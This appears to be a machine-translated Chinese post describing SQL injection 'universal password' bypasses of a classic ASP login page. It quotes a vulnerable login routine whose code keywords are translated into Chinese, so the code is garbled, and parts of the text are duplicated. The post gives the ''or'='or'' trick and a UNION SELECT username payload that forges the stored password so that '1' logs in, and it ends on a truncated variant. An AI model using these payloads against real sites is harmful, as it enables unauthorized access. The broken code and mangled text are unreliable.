评论:这本书里面的黑客手册,oldjun提到一个新的通用密码。例如,有许多这样的登录验证码在网上:
程序代码
<
用户名=装饰(Request.Form(用户名))
密码=装饰(Request.Form(密码))
从广告中选择*




黑客手册里面的书,oldjun提到一个新的通用密码。例如,有许多这样的登录验证码在网上:

程序代码

<

用户名=装饰(Request.Form(用户名))

密码=装饰(Request.Form(密码))

从用户用户名admin中选择*

集= server.createobject(ADODB。记录集)

的。打开SQL,Conn,1,1

如果rs.eof然后

checksysuser = false

其他的

密码=装饰(RS(pwd))

如果密码=密码然后

会话()=用户名

checksysuser =真

其他的

checksysuser = false

最后如果

最后如果

关闭

conn.close

如果checksysuser =真

响应。重定向()

其他的

errmsg =用户名输入错误,请重新输入它!

最后如果

%>

首先,在数据库中的用户名对应的密码查询,然后与用户输入的密码进行比较,从而导致失败of'or= 'or'universal登录密码。

但是,如果在上面的程序中,用户名被输入到程序代码中。

工会选择1,1,1行政在' = '

当密码为1时,您可以成功登陆。原理很简单。

顺便说一下,oldjun声明附。

程序代码

工会选择1,1,1作为从管理员那里的密码=